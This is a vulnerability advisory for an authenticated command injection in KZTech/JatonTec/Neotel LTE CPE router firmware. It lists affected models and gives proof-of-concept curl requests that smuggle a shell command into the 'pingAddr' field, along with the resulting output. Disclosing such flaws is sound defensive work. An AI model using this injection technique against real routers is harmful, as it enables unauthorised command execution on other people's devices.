KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authenticated Command Injection

Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes

KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authenticated Command Injection Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd. Product web page: | | Affected version: Model | Firmware -------|--------- JT3500V | 2.0.1B1064 JT3300V | 2.0.1B1047 AM6200M | 2.0.0B3210 AM6000N | 2.0.0B3042 AM5000W | 2.0.0B3037 AM4200M | 2.0.0B2996 AM4100V | 2.0.0B2988 AM3500MW | 2.0.0B1092 AM3410V | 2.0.0B1085 AM3300V | 2.0.0B1060 AM3100E | 2.0.0B981 AM3100V | 2.0.0B946 AM3000M | 2.0.0B21 KZ7621U | 2.0.0B14 KZ3220M | 2.0.0B04 KZ3120R | 2.0.0B01 Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi & VoIP CPE product specially designed to enable quick and easy LTE fixed data service deployment for residential and SOHO customers. It provides high speed LAN, Wi-Fi and VoIP integrated services to end users who need both bandwidth and multi-media data service in residential homes or enterprises. The device has 2 Gigabit LAN ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing and firewall software for security. It provides an effective all-in-one solution to SOHO or residential customers. It can deliver up to 1Gbps max data throughput which can be very competitive to wired broadband access service. Desc: The application suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the 'pingAddr' HTTP POST parameter bypassing the injection protection filter. Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN Linux 2.6.36+ (mips) Mediatek APSoC SDK v4.3.1.0 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5635 Advisory URL: 03.02.2021 -- #JT3300V/AM3300V lqwrm@metalgear:~/prive$ curl \ --data "pingAddr=\$(uname)&pingCount=1&packetSize=32&pingTimeout=7" \ -H "Cookie: kz_userid=admin:311139" \ -H "X-Requested-With: XMLHttpRequest" ping: bad address 'Linux' lqwrm@metalgear:~/prive$ #JT3500V lqwrm@metalgear:~/prive$ curl \ --data "pingAddr=\$(uname)&pingCount=1&packetSize=32&pingTimeout=7" \ -H "Cookie: uid=token:b24649a236d0e1951b2d2f16430dfb1b" \ -H "X-Requested-With: XMLHttpRequest" ping: bad address 'Linux' lqwrm@metalgear:~/prive$

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